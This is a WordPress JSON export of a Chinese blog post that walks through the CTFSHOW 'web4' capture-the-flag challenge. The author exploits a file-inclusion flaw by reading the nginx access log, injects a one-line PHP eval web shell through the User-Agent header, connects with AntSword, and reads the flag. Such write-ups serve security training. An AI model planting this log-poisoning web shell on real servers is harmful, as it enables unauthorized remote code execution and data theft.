{"id":477,"date":"2024-01-16T20:02:19","date_gmt":"2024-01-16T12:02:19","guid":{"rendered":"https:\/\/blog.taiyang.space\/?p=477"},"modified":"2024-01-17T20:02:58","modified_gmt":"2024-01-17T12:02:58","slug":"ctfshow-web-web4","status":"publish","type":"post","link":"https:\/\/blog.taiyang.space\/?p=477","title":{"rendered":"CTFSHOW-Web-web4"},"content":{"rendered":"

<\/p>\n

1. \u9898\u76ee\u63cf\u8ff0<\/h1>\n

\u9898\u76ee\u94fe\u63a5\uff1a\u6233\u6211\ud83d\udc8b<\/a><\/p>\n

2. \u89e3\u9898\u8fc7\u7a0b<\/h1>\n

\u6253\u5f00\u7f51\u7ad9\u770b\u5230\u5982\u4e0b<\/p>\n

\"img\"<\/p>\n

\u611f\u89c9\u8ddf web3php \u4f2a\u534f\u8bae\u6709\u70b9\u50cf<\/p>\n

\u6d4b\u8bd5\u4e0b<\/p>\n

\"img\"<\/p>\n

\u62a5\u9519<\/p>\n

\u518d\u770b\u4e0b\u80fd\u4e0d\u80fd\u770b\u5230\u76ee\u5f55<\/p>\n

\"img\"<\/p>\n

\u53ef\u4ee5\u770b\u5230\u76ee\u5f55\uff0c\u4f46\u662f\u4e0d\u80fd\u7528 php \u4f2a\u534f\u8bae<\/p>\n

\u518d\u770b\u4e0b\u65e5\u5fd7\u76ee\u5f55\/var\/log\/nginx\/access.log<\/code><\/p>\n

\"img\"<\/p>\n

\u60f3\u5230\u4e00\u53e5\u8bdd\u6728\u9a6c<\/p>\n

\u5728 UA \u5934\u91cc\u6ce8\u5165<?php @eval($_POST['shell']);?><\/code>\uff0c\u7136\u540e\u6253\u5f00\u4e2d\u56fd\u8681\u5251\uff0c\u5bc6\u7801shell<\/code><\/p>\n

\"img\"<\/p>\n

\u6253\u5f00\u4e2d\u56fd\u8681\u5251<\/p>\n

\"img\"<\/p>\n

\u76f4\u63a5\u53ef\u4ee5\u770b\u5230 flag.txt \u6587\u4ef6<\/p>\n

\"img\"<\/p>\n

\u83b7\u5f97 flag\uff1actfshow{a4ed541d-f400-4bdb-b6e1-688a1a87327a}<\/code><\/p>\n

\"img\"<\/p>\n

3. \u6240\u9700\u5de5\u5177<\/h1>\n